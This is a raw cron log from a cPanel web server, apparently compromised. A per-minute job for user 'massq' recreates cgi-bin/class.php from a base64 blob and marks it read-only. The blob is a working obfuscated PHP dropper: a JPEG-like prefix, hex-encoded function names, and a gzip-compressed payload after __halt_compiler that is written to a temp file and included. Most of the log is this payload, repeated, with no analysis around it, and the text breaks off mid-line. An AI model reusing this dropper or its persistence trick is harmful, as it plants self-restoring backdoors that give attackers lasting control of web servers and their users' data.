Nov 12 03:38:01 server CROND[16274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:39:01 server CROND[17087]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 03:39:01 server CROND[17088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:40:01 server CROND[17924]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:40:01 server CROND[17926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:40:01 server CROND[17928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 03:40:01 server CROND[17929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:41:01 server anacron[17902]: Job `cron.daily' started
Nov 12 03:41:01 server run-parts(/etc/cron.daily)[18870]: starting csget
Nov 12 03:41:01 server run-parts(/etc/cron.daily)[18879]: finished csget
Nov 12 03:41:01 server run-parts(/etc/cron.daily)[18870]: starting logclean
Nov 12 03:41:01 server run-parts(/etc/cron.daily)[18894]: finished logclean
Nov 12 03:41:01 server run-parts(/etc/cron.daily)[18870]: starting logrotate
Nov 12 03:41:01 server CROND[18912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:41:02 server run-parts(/etc/cron.daily)[18922]: finished logrotate
Nov 12 03:41:02 server run-parts(/etc/cron.daily)[18870]: starting maldet
Nov 12 03:42:01 server CROND[19452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:42:01 server CROND[19453]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 03:43:01 server CROND[20260]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:44:01 server CROND[21083]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:45:01 server CROND[21895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:45:01 server CROND[21896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:45:01 server CROND[21897]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:46:01 server CROND[22872]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:47:01 server CROND[23677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:47:59 server run-parts(/etc/cron.daily)[24801]: finished maldet
Nov 12 03:47:59 server run-parts(/etc/cron.daily)[18870]: starting man-db.cron
Nov 12 03:47:59 server run-parts(/etc/cron.daily)[24890]: finished man-db.cron
Nov 12 03:47:59 server anacron[17902]: Job `cron.daily' terminated
Nov 12 03:47:59 server anacron[17902]: Normal exit (1 job run)
Nov 12 03:48:01 server CROND[24913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:49:01 server CROND[27654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 03:50:01 server CROND[28483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 03:50:01 server CROND[28484]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 03:50:01 server CROND[28485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 03:50:01 server CROND[28487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5e